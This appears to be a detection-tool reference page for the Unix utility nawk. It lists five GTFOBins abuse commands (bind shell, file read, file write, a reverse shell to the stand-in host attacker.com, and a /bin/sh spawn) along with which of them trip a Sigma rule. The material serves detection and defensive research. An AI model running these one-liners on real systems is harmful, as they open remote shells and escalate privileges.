Identifier / Programs / Linux and Unix
nawk
GTFOBins shell 1 Sigma rule name it 1 ATT&CK technique 5 documented commands
How nawk is abused
shell T1059.004 Command and Scripting Interpreter: Unix Shell
Each abuse is GTFOBins's category and the options and words it uses; the full write-up is on GTFOBins's page for nawk.
5 documented commands
GTFOBins documents nawk with the commands of gawk.
bind-shell unprivileged, with sudo, as SUID
gawk 'BEGIN {
s = "/inet/tcp/12345/0/0";
while (1) {printf "> " |& s; if ((s |& getline c) <= 0) break;
while (c && (c |& getline) > 0) print $0 |& s; close(c)}}'Trips no Sigma process-creation rule.
file-read unprivileged, with sudo, as SUID
gawk '//' /path/to/input-fileTrips no Sigma process-creation rule.
file-write unprivileged, with sudo, as SUID
gawk 'BEGIN { print "DATA" > "/path/to/output-file" }'Trips no Sigma process-creation rule.
reverse-shell unprivileged, with sudo, as SUID
gawk 'BEGIN {
s = "/inet/tcp/0/attacker.com/12345";
while (1) {printf "> " |& s; if ((s |& getline c) <= 0) break;
while (c && (c |& getline) > 0) print $0 |& s; close(c)}}'Trips no Sigma process-creation rule.
shell unprivileged, with sudo, as SUID
gawk 'BEGIN {system("/bin/sh")}'Trips 1 Sigma rule: highSuspicious Invocation of Shell via AWK - Linux by Li Ling, Andy Parkidomo, Robert Rakowski, Blake Hartstein (Bloomberg L.P.)
1 of the 5 commands the identifier reads trips a Sigma process-creation rule; 4 trip none. These commands are from GTFOBins, at commit acd524623f9c of 2026-05-27, under the GPL-3.0, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on GTFOBins’s page for nawk. The identifier reads the line of each that runs gawk.